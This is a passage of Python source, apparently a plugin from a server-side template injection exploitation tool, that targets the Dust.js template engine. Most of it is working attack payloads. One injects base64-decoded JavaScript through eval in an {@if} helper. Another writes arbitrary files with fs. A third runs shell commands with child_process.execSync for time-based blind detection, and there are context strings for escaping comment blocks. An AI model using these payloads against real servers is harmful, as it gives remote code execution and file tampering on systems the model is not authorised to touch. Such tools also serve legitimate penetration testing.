(self)
| 10 | class Dust(javascript.Javascript): |
| 11 | |
| 12 | def init(self): |
| 13 | |
| 14 | self.update_actions({ |
| 15 | 'evaluate' : { |
| 16 | 'call': 'inject', |
| 17 | 'evaluate': """{@if cond=\"eval(Buffer('%(code_b64)s', 'base64').toString())\"}{/if}""" |
| 18 | }, |
| 19 | 'write' : { |
| 20 | 'call' : 'evaluate', |
| 21 | 'write' : """require('fs').appendFileSync('%(path)s', Buffer('%(chunk_b64)s', 'base64'), 'binary')""", |
| 22 | 'truncate' : """require('fs').writeFileSync('%(path)s', '')""" |
| 23 | }, |
| 24 | # Not using execute here since it's rendered and requires set headers and trailers |
| 25 | 'execute_blind' : { |
| 26 | 'call': 'evaluate', |
| 27 | # execSync() has been introduced in node 0.11, so this will not work with old node versions. |
| 28 | # TODO: use another function. |
| 29 | 'execute_blind': """require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString() + ' && sleep %(delay)i');""", |
| 30 | 'test_cmd': bash.echo % { 's1': rand.randstrings[2] }, |
| 31 | 'test_cmd_expected': rand.randstrings[2] |
| 32 | } |
| 33 | }) |
| 34 | |
| 35 | self.set_contexts([ |
| 36 | # Text context, no closures. This covers also {%s} e.g. {{payload}} seems working. |
| 37 | { 'level': 0 }, |
| 38 | |
| 39 | # Block as {#key}{/key} and similar needs tag key name to be bypassed. |
| 40 | |
| 41 | # Comment blocks |
| 42 | { 'level': 1, 'prefix' : '!}', 'suffix' : '{!' }, |
| 43 | ]) |
| 44 | |
| 45 | """ |
| 46 | This replace _detect_render() since there is no real rendered evaluation in Dust. |
nothing calls this directly
no test coverage detected